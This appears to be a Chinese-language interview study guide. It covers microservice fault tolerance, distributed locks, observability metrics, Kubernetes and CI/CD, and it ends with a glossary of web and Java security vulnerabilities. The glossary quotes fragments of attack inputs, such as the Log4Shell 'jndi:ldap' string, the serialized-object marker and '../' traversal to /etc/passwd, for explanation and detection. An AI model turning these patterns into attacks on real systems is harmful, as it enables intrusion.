① 服务注册与发现:服务提供者启动时注册地址,消费者去查
② 序列化/反序列化:对象 ↔ 字节流
③ 网络通信:Netty(Dubbo)、HTTP/2(gRPC)
熔断 / 降级 / 限流 —— 微服务容错三剑客
这三个词经常一起出现,但完全不是一回事(面试高频,很多人混着说)。
| 限流 Rate Limiting |
熔断 Circuit Breaking |
降级 Degradation |
|
|---|---|---|---|
| 保护谁 | 保护自己 | 保护调用方(不被下游拖死) | 保护核心业务 |
| 触发条件 | 请求量超过阈值 | 下游错误率过高 | 系统压力大 / 下游不可用 |
| 怎么做 | 超出的请求直接拒绝 | 直接返回错误,不再调用下游 | 返回兜底数据(默认值/缓存/友好提示) |
| 关系 | 预防 | 事后止损 | 兜底方案 |
记忆口诀:
限流 = 门口排队(控制进来多少)
熔断 = 拉闸断电(发现危险就断开)
降级 = 开备用灯(主灯坏了用备用的)
熔断的三个状态(面试必答)
┌─────────┐ 错误率达到阈值 ┌─────────┐
│ Closed │ ──────────────▶ │ Open │
│ 关闭 │ │ 打开 │
│ (正常调) │ ◀────────────── │(直接失败)│
└─────────┘ 过了熔断时长 └─────────┘
▲ │
│ │ 放过少量请求试探
│ ▼
│ ┌──────────────┐
│ 试探成功,恢复 │ Half-Open │
└───────────────────────│ 半开 │
│(放部分请求试) │
└──────────────┘
Closed :正常调用,统计错误率
Open :错误率超标 → 断闸,所有请求直接失败(不调用下游)
Half-Open :断闸一段时间后,放少量请求试探
├─ 成功 → 恢复 Closed
└─ 失败 → 回到 Open,继续断闸
生活类比: 家里的保险丝(熔断器):
- 正常:电流正常,保险丝通着(Closed)
- 短路:电流过大 → 保险丝烧断(Open),保护电器不被烧坏
- 半开:你换了新保险丝,先开一个小灯试试(Half-Open)
- 亮了 → 恢复正常
- 又烧了 → 说明还有问题,继续断
四种限流算法(面试常考)
| 算法 | 原理 | 优点 | 缺点 |
|---|---|---|---|
| 计数器(固定窗口) | 每分钟最多 100 个 | 简单 | 临界问题:59s 和 61s 各 100 个,实际 2 秒内 200 个 |
| 滑动窗口 | 把时间切成小格,统计窗口内的总数 | 解决临界问题 | 稍复杂 |
| 漏桶 | 请求进桶,桶底以固定速率漏水(处理) | 流出速率恒定,绝对平滑 | 无法应对突发流量 |
| 令牌桶 | 桶里以固定速率放令牌,请求要拿令牌 | 允许突发(桶里有令牌就能拿) | 稍复杂 |
面试高频:“漏桶和令牌桶的区别?”
“漏桶是’控制流出速率’,不管水怎么进来,出去的速度恒定——适合保护下游。 令牌桶是’控制流入速率’,允许一定程度的突发——适合保护自己同时兼顾体验。 Sentinel/Guava RateLimiter 用的是令牌桶。”
关键区别记忆:
漏桶 = 出水恒定 → 【削峰】,不管你多急,我按我的节奏来
令牌桶 = 取牌才能过 → 【允许突发】,攒下的令牌可以一次用完
分布式锁 —— 以及 Redisson 的看门狗
一句话:跨 JVM 的锁,让多台机器上的线程也能互斥。
为什么 synchronized 不够:
单机:synchronized / ReentrantLock 只锁当前 JVM 内的线程
分布式(3 台机器):
机器 A 的线程 1 ┐
机器 B 的线程 2 ├── 同时抢同一把锁 → synchronized 管不着!
机器 C 的线程 3 ┘
→ 需要一个【三方存储】来当"锁的裁判":Redis / ZooKeeper / 数据库
Redis 实现分布式锁的演进(面试常考演进过程):
# 版本 1:SETNX(有死锁问题)
SETNX lock_key 1 # 抢锁
EXPIRE lock_key 10 # 设过期
# ❌ 问题:SETNX 后宕机,没来得及 EXPIRE → 锁永不释放 → 死锁
# 版本 2:SET 带 NX 和 EX(原子)
SET lock_key value NX EX 10
# ✅ 原子操作,解决死锁
# ❌ 问题:业务执行 15 秒 > 锁过期 10 秒 → 锁提前释放 → 别人进来 → 数据错乱
# 版本 3:加看门狗自动续期(Redisson)
# ✅ 后台线程每 10 秒(默认 1/3 TTL)检查,业务还在跑就续期到 30 秒
# 版本 4:Redisson 完整方案
RLock lock = redisson.getLock("order:" + orderId);
try {
if (lock.tryLock(10, 30, TimeUnit.SECONDS)) { // 等10秒,锁30秒
// 业务逻辑(Redisson 自动续期)
}
} finally {
lock.unlock(); // 必须在 finally 里释放
}
Redisson 看门狗(Watchdog)机制:
① 加锁成功,默认 TTL = 30 秒
② 启动一个后台定时任务,每 10 秒(30/3)执行一次:
- 检查业务线程还持有锁吗?
- 是 → 把 TTL 重置回 30 秒(续期)
- 否 → 不续期,锁自然过期
③ 业务完成,unlock() 时取消定时任务
效果:业务执行多久,锁就持有多久,【不会提前释放,也不会死锁】
分布式锁的三大坑(面试必答):
| 坑 | 说明 | 解法 |
|---|---|---|
| ① 锁误删 | A 的锁过期了,B 拿到锁,A 执行完把 B 的锁删了 | value 存唯一标识(UUID+线程ID),删除时用 Lua 脚本先比对再删 |
| ② 业务超时锁提前释放 | 业务 15 秒,锁 10 秒过期 | 看门狗自动续期 |
| ③ Redis 主从切换丢锁 | 主节点加锁成功还没同步就挂了,从节点没有锁 | Redlock(有争议)或用 ZooKeeper/etcd |
面试怎么说:
“我们用 Redisson 的
RLock。它底层是SET key value NX EX的 Lua 脚本保证原子性, value 用 UUID+线程ID 防止误删别人的锁,删除时用 Lua 先比对再删。 另外它有看门狗机制:默认 30 秒 TTL,后台线程每 10 秒检查一次, 业务还在跑就自动续期,解决了’业务没跑完锁就过期’的问题。 释放必须放在 finally 里。”
服务雪崩 —— 微服务最怕的连锁反应
一句话:一个服务挂了 → 调用方线程全堵住 → 调用方也挂 → 整条链路全崩。
发生过程:
服务 C 响应变慢(数据库慢查询)
↓
服务 B 调用 C,线程全部阻塞等待
↓
服务 B 的线程池被打满,无法响应新请求
↓
服务 A 调用 B,也开始阻塞
↓
服务 A 的线程池打满
↓
【整条链路全部不可用】—— 一个慢查询拖垮整个系统
四个应对手段(面试必答):
| 手段 | 怎么做 | 解决什么 |
|---|---|---|
| ① 超时设置 | 调用下游必须设超时时间,不能无限等 | 防止线程被无限占用 |
| ② 熔断 | 下游错误率高就断闸,快速失败 | 防止持续调用已经挂掉的服务 |
| ③ 限流 | 限制入口流量 | 防止自己被打垮 |
| ④ 降级 | 返回兜底数据 | 保证核心功能可用 |
| ⑤ 资源隔离 | 不同下游用不同线程池 | 防止一个慢服务拖垮所有 |
生活类比: 高速公路连环追尾。
- 超时设置 = 保持车距
- 熔断 = 前方事故,直接封路不让进
- 限流 = 收费站控制上高速的车流量
- 降级 = 主路堵了,走辅路
- 隔离 = 客车和货车分道,货车出事不影响客车
7.3 第七章小结
【微服务容错全景】
请求进来
↓
【Gateway 网关】鉴权 / 路由 / 限流
↓
【服务 A】
├─ 限流(保护自己不被打垮)
├─ 调用服务 B
│ ├─ 超时设置(不等太久)
│ ├─ 熔断(B 挂了就快速失败)
│ ├─ 隔离(用独立线程池,不拖累自己)
│ └─ 降级(失败了返回兜底数据)
└─ 返回
深入阅读:02 号文档第二章(Spring Cloud Alibaba)、07 号文档(云原生与 DevOps)
第八章:可观测性
这一章对应 08 号文档(《可观测性》)。 P99、SLA/SLO/SLI、RTO/RPO、MTTR 是光看名字绝对猜不出意思的典型。
8.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| QPS | Queries Per Second | 每秒请求数(系统能扛多少流量) | 02/03/08/10 |
| TPS | Transactions Per Second | 每秒事务数(常用于数据库/支付) | 08 |
| RT | Response Time | 响应时间,一个请求多久返回 | 02/10 |
| P99 / P95 / P50 | Percentile 99/95/50 | 99% 的请求RT 不超过这个值(看长尾) | 02/08 |
| SLA | Service Level Agreement | 服务等级协议:对外承诺(如“可用性 99.9%”),有法律效力 | 08 |
| SLO | Service Level Objective | 服务等级目标:内部定的目标(如“可用性 99.95%”) | 08 |
| SLI | Service Level Indicator | 服务等级指标:具体怎么衡量(如“成功请求数/总请求数”) | 08 |
| MTTR | Mean Time To Repair | 平均修复时间:出故障后多久修好 | 08 |
| MTBF | Mean Time Between Failures | 平均无故障时间:两次故障间隔多久 | 08 |
| RTO | Recovery Time Objective | 恢复时间目标:允许多久恢复(如“30 分钟内”) | 08 |
| RPO | Recovery Point Objective | 恢复点目标:允许丢多少数据(如“最多丢 5 分钟数据”) | 08 |
| Metrics | Metrics(指标) | 可聚合的数字(CPU、QPS、错误率) | 08 |
| Logging | Logging(日志) | 离散的事件记录 | 01/08 |
| Tracing | Distributed Tracing(链路追踪) | 一个请求在微服务间的完整调用链 | 08 |
| TraceId | Trace ID | 一次请求的唯一标识,串起整条调用链 | 08 |
| Span | Span(跨度) | 调用链中的一段(一个服务/一次调用) | 08 |
| 火焰图 | Flame Graph | 性能分析图,看哪个方法最耗 CPU | 08 |
| Arthas | Arthas | 阿里开源的 Java 诊断工具,线上排查神器 | 01/02/08/10 |
| SkyWalking | SkyWalking | 国产 APM,分布式链路追踪 | 01/02/07/08/10 |
| Prometheus | Prometheus | 时序数据库 + 监控系统,拉模式采集 | 01/02/08/10 |
| Grafana | Grafana | 可视化面板,把 Prometheus 的数据画成图 | 01/02/08/10 |
| APM | Application Performance Monitoring | 应用性能监控 | 08 |
| 告警收敛 | Alert Aggregation | 把重复告警合并,避免告警风暴 | 08 |
8.2 核心概念详解
P99 / P95 / P50 —— 为什么平均响应时间是个“骗子”
一句话:P99 = 把响应时间从小到大排,排在第 99% 位置的那个值。
具体算法:
100 个请求的响应时间(毫秒):
1, 2, 3, ..., 98, 99, 500, 800, 1200
P50(中位数)= 第 50 个 = 50ms
P95 = 第 95 个 = 95ms
P99 = 第 99 个 = 800ms ← 最慢的那 1%
平均值 = (1+2+...+1200)/100 ≈ 20ms
为什么平均值会骗人(面试必答):
平均值 20ms 看起来很好对不对?
但 P99 = 800ms,意味着【每 100 个用户就有 1 个要等 800ms】
如果你的系统每天 1 亿次请求:
1 亿 × 1% = 100 万个用户遇到了 800ms 的慢响应!
这些就是【长尾请求】,平均值完全掩盖了它们。
所以监控要看:
- P99:关注最慢的 1%(长尾问题)
- P95:更宽松一些
- P50:中位数,代表典型体验
- 平均值:参考价值不大,容易被极端值拉偏
面试高频:“为什么不用平均响应时间?”
“平均值会被极端值拉偏,掩盖长尾问题。 比如 99 个请求 10ms、1 个请求 10 秒,平均值才 110ms,看起来没问题, 但那个等 10 秒的用户体验极差。 所以我们用 P99——它直接告诉你’最慢的 1% 有多慢’。 一般要求 P99 < 200ms,P999 < 500ms 这种。”
生活类比: 一个班 50 个学生,49 个考 90 分,1 个考 10 分。 平均分 88 分——看起来很好,但那个考 10 分的孩子问题被掩盖了。 P50(中位数)能反映大多数人的水平,P99 能暴露最差的那个。
SLA / SLO / SLI —— 三个 S 开头的词,别再搞混了
| SLI | SLO | SLA | |
|---|---|---|---|
| 是什么 | Indicator 指标 | Objective 目标 | Agreement 协议 |
| 白话 | 怎么衡量 | 想达到多少 | 对外承诺多少,违约要赔 |
| 例子 | 成功请求数 / 总请求数 | 可用性 ≥ 99.95% | 可用性 ≥ 99.9%,不达标退款 10% |
| 给谁看 | 工程师 | 团队内部 | 客户/老板(有法律/商业效力) |
| 松紧 | — | 最严(内部目标要比对外承诺严) | 相对宽松 |
三者的关系:
SLI(怎么量) → SLO(内部目标) → SLA(对外承诺)
例:
SLI:HTTP 200 的请求数 / 全部请求数
SLO:这个比例 ≥ 99.95%(内部要求,留了余量)
SLA:这个比例 ≥ 99.9%,不达标赔钱(对外承诺)
为什么 SLO 要比 SLA 严?
因为等 SLA 快违约时才处理就来不及了。
SLO 是"预警线",SLA 是"生死线"。
几个“9”对应多少 downtime(面试常考):
| 可用性 | 年停机时间 | 月停机时间 | 常见场景 |
|---|---|---|---|
| 99%(2 个 9) | 3.65 天 | 7.3 小时 | 内部系统 |
| 99.9%(3 个 9) | 8.76 小时 | 43.8 分钟 | 常见 SLA 标准 |
| 99.99%(4 个 9) | 52.6 分钟 | 4.4 分钟 | 金融、支付 |
| 99.999%(5 个 9) | 5.26 分钟 | 26 秒 | 电信级,极难 |
面试怎么说:
“SLA 是对外承诺,SLO 是内部目标,SLI 是衡量指标。 我们一般把 SLO 定得比 SLA 严——比如 SLA 承诺 99.9%,内部 SLO 定 99.95%, 这样有缓冲余量,等快触及 SLO 就开始处理,而不是等违约了才慌。”
RTO / RPO —— 灾备的两个核心指标
| RTO Recovery Time Objective |
RPO Recovery Point Objective |
|
|---|---|---|
| 关注 | 时间 | 数据 |
| 问的是 | 多久能恢复服务? | 会丢多少数据? |
| 例子 | “30 分钟内恢复” | “最多丢 5 分钟的数据” |
| 决定什么 | 用什么恢复方案 | 备份频率 |
| RTO=0 | 需要双活/多活(秒级切换) | — |
| RPO=0 | — | 需要同步复制(性能损耗大) |
图解:
时间轴 ──────────────────────────────────────▶
故障发生 恢复完成
│ │
◀──── RPO ─────┤◀─────── RTO ────────▶│
丢失的数据量 │ 服务中断时长 │
│ │
最后一次备份 ────┘ └── 服务重新可用
两者的权衡:
RPO 越小 → 备份越频繁 → 性能损耗越大
RPO = 0(同步复制)→ 每次写入都要等从库确认 → 写入变慢
RPO = 5 分钟(异步复制)→ 最多丢 5 分钟数据 → 性能好
RTO 越小 → 需要越贵的方案
RTO = 小时级 → 冷备(备份文件 + 手动恢复)→ 便宜
RTO = 分钟级 → 热备(备用集群随时待命)→ 贵
RTO = 秒级 → 双活/多活(两地同时服务)→ 非常贵
面试怎么说:
“RTO 是恢复时间目标,RPO 是数据丢失目标,这俩一起决定灾备方案。 比如金融核心可能要求 RTO<30分钟、RPO=0,那就得同城双活 + 同步复制。 如果是内部管理系统,RTO 几小时、RPO 一天都能接受,定时备份就够了。 核心是根据业务重要性和成本做权衡,不是越高越好。”
MTTR / MTBF —— 系统可靠性的两个指标
| MTTR Mean Time To Repair |
MTBF Mean Time Between Failures |
|
|---|---|---|
| 含义 | 平均修复时间 | 平均无故障运行时间 |
| 衡量 | 恢复能力(修得快不快) | 稳定性(多久坏一次) |
| 越大越好? | ❌ 越小越好 | ✅ 越大越好 |
| 怎么改善 | 监控告警、自动化运维、预案演练 | 代码质量、容量规划、混沌工程 |
可用性的计算公式:
可用性 = MTBF / (MTBF + MTTR)
例:MTBF = 1000 小时,MTTR = 1 小时
可用性 = 1000 / 1001 = 99.9% ✅(3 个 9)
提升可用性有两条路:
① 增大 MTBF(少出故障)→ 难,成本高
② 减小 MTTR(快速恢复)→ 相对容易,收益大
所以业界更重视【降低 MTTR】:
监控告警(快速发现)→ 日志链路(快速定位)→ 预案(快速止血)
可观测性三支柱:Metrics / Logging / Tracing
┌────────────────────────────────────────────────────┐
│ 可观测性 Observability │
├──────────────┬──────────────┬──────────────────────┤
│ Metrics │ Logging │ Tracing │
│ 指标 │ 日志 │ 链路追踪 │
├──────────────┼──────────────┼──────────────────────┤
│ 聚合的数字 │ 离散的事件 │ 一次请求的完整路径 │
│ CPU 使用率 │ "用户登录失败" │ TraceId 串起所有服务 │
│ QPS / P99 │ 堆栈信息 │ 每个 Span 的耗时 │
├──────────────┼──────────────┼──────────────────────┤
│ Prometheus │ ELK / Loki │ SkyWalking / Jaeger │
│ Grafana │ │ Zipkin │
├──────────────┼──────────────┼──────────────────────┤
│ 回答"有多少" │ 回答"发生了什么"│ 回答"卡在哪一步" │
└──────────────┴──────────────┴──────────────────────┘
三者怎么配合排查问题:
① Metrics 发现异常: Grafana 看到 P99 突然从 100ms 涨到 2s
② Tracing 定位服务: 查 TraceId,发现是"支付服务"慢了
③ Logging 找到原因: 看支付服务日志,发现是数据库连接池满了
面试高频:“监控和可观测性的区别?”
“监控是’我知道要看什么,提前设好告警’(比如 CPU > 80% 告警)。 可观测性是’我事先不知道会出什么问题,但系统能提供足够信息让我事后分析出来’。 微服务时代故障模式太多,不可能提前预设所有告警,所以更需要可观测性—— 核心是能通过 Metrics/Logging/Tracing 三个维度回答任意问题。”
Arthas —— Java 线上排查神器
一句话:不用改代码、不用重启,就能看线上 JVM 在干什么。
最常用的几个命令(面试能说出 5 个就够):
| 命令 | 干什么 | 典型场景 |
|---|---|---|
dashboard |
实时看板(线程、内存、GC) | 快速看系统整体状态 |
thread -n 3 |
看最忙的 3 个线程 | CPU 飙高时找凶手 |
jvm |
看 JVM 信息 | 看内存、GC 配置 |
watch |
观察方法的入参、返回值、异常 | 想看线上某个方法传了什么 |
trace |
追踪方法内部调用链和耗时 | 接口慢,找哪一步最耗时 |
tt(TimeTunnel) |
记录调用现场,可回放 | 偶发问题,抓一次慢慢分析 |
jad |
反编译 | 确认线上跑的代码是不是你以为的那版 |
heapdump |
导出堆快照 | 内存泄漏分析 |
profiler |
生成火焰图 | CPU 性能分析 |
最经典的三个场景:
# 场景1:CPU 突然 100%
thread -n 3 # 找出最耗 CPU 的 3 个线程
thread <id> # 看这个线程的堆栈
# 通常会发现某个死循环或者疯狂 GC
# 场景2:接口突然变慢
trace com.xxx.OrderService createOrder '#cost > 100'
# 只看耗时超过 100ms 的调用,输出每一层的耗时
# 立刻知道是慢 SQL 还是外部接口
# 场景3:怀疑线上代码没更新
jad com.xxx.OrderService
# 反编译看源码,确认是不是最新的
第九章:云原生与 DevOps
这一章对应 07 号文档(《云原生与 DevOps》)。
9.1 本章速查表
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| 容器 | Container | 轻量级的“隔离盒子”,把应用和依赖打包在一起 | 02/07/08/09/10 |
| 镜像 | Image | 容器的“模板”/“安装包”,容器是镜像的运行实例 | 07/08/09 |
| Docker | Docker | 最流行的容器引擎 | 07/08 |
| K8s | Kubernetes(k8s 是缩写) | 容器编排系统,管理成百上千个容器 | 02/07/08/09 |
| Pod | Pod(豆荚) | K8s 的最小调度单位,一个 Pod 里可有多个容器 | 07/08 |
| Node | Node(节点) | 运行 Pod 的机器(物理机/虚拟机) | 07 |
| Deployment | Deployment(部署) | 声明“我要跑几个副本”,K8s 负责维持 | 07 |
| Service | Service(服务) | 给一组 Pod 提供统一入口和负载均衡 | 07 |
| Ingress | Ingress(入口) | 集群外部访问内部服务的入口(七层路由) | 07 |
| ConfigMap / Secret | — | 配置 / 敏感信息(密码、证书)的管理 | 07 |
| Helm | Helm | K8s 的包管理器(类似 yum/apt) | 07 |
| Istio | Istio | 服务网格:把限流、熔断、鉴权从代码里抽出来,交给基础设施 | 07 |
| 服务网格 | Service Mesh | 处理服务间通信的基础设施层(Sidecar 模式) | 07 |
| Sidecar | Sidecar(边车) | 每个 Pod 里附带的“辅助容器”,处理网络等通用逻辑 | 07 |
| CI | Continuous Integration | 持续集成:代码提交后自动构建、测试 | 01/02/03/07/08 |
| CD | Continuous Delivery/Deployment | 持续交付/部署:自动发布到环境 | 02/06/07 |
| DevOps | Development + Operations | 开发运维一体化,强调自动化和文化 | 07 |
| HPA | Horizontal Pod Autoscaler | 水平自动扩缩容:CPU 高了自动加 Pod | 07 |
| 蓝绿部署 | Blue-Green Deployment | 两套环境交替上线,秒级切换和回滚 | 07 |
| 滚动更新 | Rolling Update | 一批一批替换实例,不中断服务 | 07 |
| 金丝雀发布 | Canary Release | 先放少量流量给新版本,观察没问题再全量(=灰度发布) | 07 |
9.2 核心概念详解
容器 vs 虚拟机(面试必考)
┌──────────────────────────────────────────────────┐
│ 虚拟机 VM │
├────────┬────────┬────────┐ │
│ App A │ App B │ App C │ │
├────────┼────────┼────────┤ │
│ GuestOS│ GuestOS│ GuestOS│ ← 每个 VM 都有完整OS │
├────────┴────────┴────────┤ │
│ Hypervisor(虚拟机监视器) │
├──────────────────────────┤ │
│ Host OS(宿主机操作系统) │
├──────────────────────────┤ │
│ 硬件 Infrastructure │
└──────────────────────────────────────────────────┘
重!启动慢(分钟级),占用大(GB 级)
┌──────────────────────────────────────────────────┐
│ 容器 Container │
├────────┬────────┬────────┐ │
│ App A │ App B │ App C │ │
├────────┼────────┼────────┤ │
│ 容器引擎 Docker Engine │ ← 【共享宿主 OS 内核】 │
├──────────────────────────┤ │
│ Host OS(宿主机操作系统) │
├──────────────────────────┤ │
│ 硬件 Infrastructure │
└──────────────────────────────────────────────────┘
轻!启动快(秒级),占用小(MB 级)
| 虚拟机 | 容器 | |
|---|---|---|
| 隔离级别 | 操作系统级(每个 VM 有独立内核) | 进程级(共享宿主内核) |
| 启动速度 | 分钟级 | 秒级 |
| 体积 | GB 级 | MB 级 |
| 性能 | 有虚拟化损耗 | 接近原生 |
| 隔离性 | 强(更安全) | 弱(共享内核,有逃逸风险) |
一句话总结:
虚拟机虚拟化的是硬件,容器虚拟化的是操作系统。 容器更轻更快,但隔离性不如虚拟机。
Kubernetes(K8s)为什么叫 K8s
Kubernetes:K 和 s 之间有 8 个字母(ubernete),所以缩写为 K8s。 类似的有:i18n(internationalization,i 和 n 之间 18 个字母)。
K8s 解决什么问题:
手动管理容器的痛苦:
- 机器挂了,容器要手动搬到别的机器
- 流量涨了,要手动加容器
- 发布新版本,要手动一个个替换
- 容器之间怎么互相访问?
K8s 的做法:【声明式】
你只需要声明:"我要跑 3 个订单服务的副本"
K8s 负责:调度到哪台机器、挂了自动重启、流量高了自动扩容、滚动更新
核心思想:你告诉它【期望状态】,它负责【达成并维持】这个状态
核心概念关系图(面试常让画):
┌──── Cluster(集群)────┐
│ │
┌───────────┼───────────┐ │
▼ ▼ ▼ │
┌───────┐ ┌───────┐ ┌───────┐ │
│ Node1 │ │ Node2 │ │ Node3 │ │ 节点(机器)
│┌─────┐│ │┌─────┐│ │ │ │
││ Pod ││ ││ Pod ││ │ │ │ Pod(最小单位)
││┌───┐││ ││┌───┐││ │ │ │
│││Ctr│││ │││Ctr│││ │ │ │ 容器
││└───┘││ ││└───┘││ │ │ │
│└─────┘│ │└─────┘│ │ │ │
└───────┘ └───────┘ └───────┘ │
▲ ▲ │
└───────────┴──────────────────────┘
│
Deployment(声明:我要 2 个副本)
│
Service(统一入口 + 负载均衡)
│
Ingress(外部流量入口)
记忆口诀:
Cluster(集群) > Node(机器) > Pod(豆荚) > Container(容器)
Deployment 管副本数,Service 管访问,Ingress 管入口
服务网格 Istio 与 Sidecar 模式
解决的问题:
微服务里,每个服务都要写:
- 服务发现、负载均衡、重试、超时
- 熔断、限流
- 鉴权、mTLS 加密
- 链路追踪上报
这些代码:
① 每个服务重复写一遍
② 换语言就要重写(Java/Go/Python 各写一套)
③ 升级要改所有服务的代码
Sidecar 模式的解法:
┌───────────────── Pod ─────────────────┐
│ ┌──────────┐ ┌──────────────┐ │
│ │ 业务容器 │ ◀──▶ │ Envoy Proxy │ │
│ │ (你的代码)│ │ (Sidecar) │ │
│ └──────────┘ └──────────────┘ │
│ │ │
└───────────────────────────┼────────────┘
│
所有网络流量都经过 Sidecar
限流/熔断/鉴权/追踪都在这里做
好处:业务代码【零侵入】,完全不用关心这些
换语言也没关系,Sidecar 是独立的
Sidecar 名字的由来:
摩托车旁边挂的那个“边车”——跟着主车跑,但有自己的轮子。
CI / CD / DevOps
| CI Continuous Integration 持续集成 |
CD Continuous Delivery/Deployment 持续交付/部署 |
|
|---|---|---|
| 干什么 | 代码合并后自动构建 + 测试 | 自动发布到环境 |
| 频率 | 每次提交都跑 | 通过测试后自动/手动发布 |
| 产出 | 一个可用的构建产物(jar/镜像) | 跑在服务器上的服务 |
| 解决 | “集成地狱”(合并时一堆冲突和 bug) | “发布恐惧”(发版要熬夜、容易出错) |
CD 的两种含义(面试可能追问):
- Continuous Delivery(持续交付):自动准备好可发布的版本,但发布由人决定(点一下按钮)
- Continuous Deployment(持续部署):全自动发布,通过测试就直接上线,无人干预
DevOps 是什么:
不是工具,不是岗位,是一种文化 + 实践: 打破开发(Dev)和运维(Ops)的墙,用自动化让“开发 → 测试 → 发布 → 运维”全流程顺畅。
核心指标(DORA 四指标):
- 部署频率(多快发一次版)
- 变更前置时间(从提交代码到上线要多久)
- 变更失败率(多少次发布会导致故障)
- 服务恢复时间 MTTR(出故障多久恢复)
第十章:安全
这一章对应 11 号(《安全攻防与系统加固》,3 万行)、12 号(《安全靶场实战》,1.4 万行) 和 13 号(《新兴攻击面与专项安全》,8.6 万行)三篇。
CSRF 和 XSS 是面试最常考、也最容易记混的两个概念,但安全远不止这两个—— 本章速查表按 Web 漏洞 / Java 组件 / 认证密码学 / 云原生 / 内网中间件 / 治理工具 六个方向收录了 149 个术语,详解部分挑了 12 组最容易混淆的成对概念讲透。
如果你是冲着面试来的,优先看这几个:
SSRF(云上最危险)→越权(OWASP 常年第一)→反序列化(Java 岗必考) →CVE/CVSS/EPSS/KEV(聊漏洞治理时的谈资)→SA Token(K8s 安全的核心)。
10.1 本章速查表
本章“在哪篇”列的含义:
11= 《11-安全攻防与系统加固-实战专题》,12= 《12-安全靶场实战-从零复现与加固验证》,13= 《13-新兴攻击面与专项安全》(已按主题拆成 7 个分册,见13-新兴攻击面与专项安全/文件夹)。 三篇加起来 13 万行,是安全内容的主体;13 号覆盖 AI 安全、API、GraphQL、移动端、IoT、内网渗透、取证、供应链、云原生、Web3、数据合规等新兴攻击面;其他编号同前几章(01~10 号文档)。
10.1.1 Web 漏洞类(OWASP 家族,面试最高频)
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| XSS | Cross-Site Scripting | 跨站脚本:往页面里注入恶意 JS 偷用户信息 | 09/11 |
| CSRF | Cross-Site Request Forgery | 跨站请求伪造:骗你的浏览器发请求,冒充你操作 | 09/11 |
| CORS | Cross-Origin Resource Sharing | 跨域资源共享:浏览器的同源策略例外机制 | 02/09 |
| 同源策略 | Same-Origin Policy | 浏览器规定:不同源的页面不能互相访问数据 | 09 |
| SQL 注入 | SQL Injection | 把恶意 SQL 拼进参数,骗数据库执行 | 03/11 |
| 盲注 | Blind SQL Injection | 页面不报错也不回显,只能靠“是/否”一点点猜 | 11/12 |
| SSRF | Server-Side Request Forgery | 服务端请求伪造:骗服务器去访问它不该访问的地址(打内网、打元数据) | 11/12 |
| XXE | XML External Entity | XML 外部实体注入:一段 XML 就能让服务器读本地文件、打内网 | 11/12 |
| IDOR | Insecure Direct Object Reference | 不安全的直接对象引用:把订单号 1001 改成 1002 就看到别人的订单 | 11 |
| 越权 | Broken Access Control | 干了不该干的事(水平越权 = 看同事的;垂直越权 = 干管理员的) | 11 |
| SSTI | Server-Side Template Injection | 模板引擎把用户输入当代码执行(Thymeleaf / Freemarker / Velocity) | 11 |
| SpEL | Spring Expression Language | Spring 的表达式语言,#{} 里能写 Java 代码 |
02/11 |
| OGNL | Object-Graph Navigation Language | Struts2 用的表达式语言,历史上出过一堆 RCE | 11 |
| 命令注入 | Command Injection | 把系统命令拼进参数,服务器 Runtime.exec() 去执行 |
11/12 |
| 文件上传漏洞 | Unrestricted File Upload | 传个 JSP/PHP 上去,直接变成网页后门 | 11/12 |
| 文件包含 | File Inclusion | 让服务器把“文件内容”当成“代码”来执行(图片马的引信) | 11/12 |
| 路径穿越 | Path / Directory Traversal | 用 ../ 跳出目录,读到 /etc/passwd |
11/12 |
| 图片马 | Image Webshell | 一张正常图片里藏了恶意代码,配合文件包含才生效 | 11/12 |
| WebShell | Web + Shell | 网页版后门:浏览器里就能敲服务器命令 | 11/12 |
| 反弹 Shell | Reverse Shell | 让受害机主动连攻击者(防火墙拦入站、不拦出站,所以要“反弹”) | 12 |
| RCE | Remote Code Execution | 远程代码执行:漏洞界的“最高刑罚”,能在对方机器上跑任意命令 | 11/12 |
| DoS / DDoS | Denial of Service | 拒绝服务:把资源耗光,让正常用户用不了 | 11/12 |
| 十亿笑 | Billion Laughs | XML 实体套娃,1KB 输入撑爆几个 G 内存 | 11/12 |
| Zip Bomb | Zip Bomb / 解压炸弹 | 42KB 的 zip 解压出 4.5PB,撑爆磁盘 | 11/12 |
| Zip Slip | Zip Slip | zip 里藏 ../../ 路径,解压时写到任意位置覆盖系统文件 |
11/12 |
| DNS Rebinding | DNS Rebinding | DNS 重绑定:先解析成合法 IP 过校验,再解析成 127.0.0.1 打内网 | 11/12 |
| 点击劫持 | Clickjacking | 透明 iframe 盖在按钮上,你以为是点“点赞”,实际点了“转账” | 09/11 |
| 重放攻击 | Replay Attack | 把请求录下来重发一次(没加时间戳/随机数就会中招) | 11 |
| 撞库 | Credential Stuffing | 拿别家泄露的账号密码,来你家批量试 | 11 |
| 拖库 | Database Dump | 把整张用户表导走 | 11/12 |
10.1.2 Java 组件与反序列化(Java 岗必考)
| 缩写 / 术语 | 英文全称 | 一句话白话 | 在哪篇 |
|---|---|---|---|
| 反序列化漏洞 | Insecure Deserialization | 把别人构造的字节流“还原成对象”时,自动执行了恶意代码 | 11/12 |
| Gadget Chain | Gadget Chain / 利用链 | 把项目里本来就有的几个类串起来,拼出一条能执行命令的链条 | 11/12 |
aced 0005 |
Java 序列化魔数 | Java 序列化字节流的开头两个字节,base64 后是 rO0AB——看到它就该警惕 |
11/12 |
| CC 链 | CommonsCollections Chain | 利用 Apache CommonsCollections 库搭的反序列化利用链 | 11/12 |
| ysoserial | — | 反序列化 payload 生成器,一条命令生成现成的攻击字节流 | 12 |
| JNDI | Java Naming and Directory Interface | Java 的“查电话簿”接口:给个名字,返回一个对象 | 11/12 |
| LDAP | Lightweight Directory Access Protocol | 轻量目录访问协议(企业里存组织架构的那种服务) | 11/12 |
| RMI | Remote Method Invocation | Java 自己的远程调用协议 | 11/12 |
| Log4Shell | CVE-2021-44228 | Log4j2 的 ${jndi:ldap://} 远程代码执行,CVSS 满分 10.0 |
11/12 |
| autotype | Fastjson AutoType | Fastjson 的“自动还原成指定类型”功能,是它几乎所有 RCE 的根源 | 11/12 |
| Shiro-550 | CVE-2016-4437 | Shiro 的 rememberMe Cookie 用硬编码密钥加密,密钥一泄露就能伪造身份 | 11/12 |
| rememberMe | — | Shiro 的“记住我”Cookie:序列化 → AES 加密 → base64 | 11/12 |
| RASP | Runtime Application Self-Protection | 在应用内部插桩的防护(能看见解密后的流量,WAF 看不见) | 11/12 |
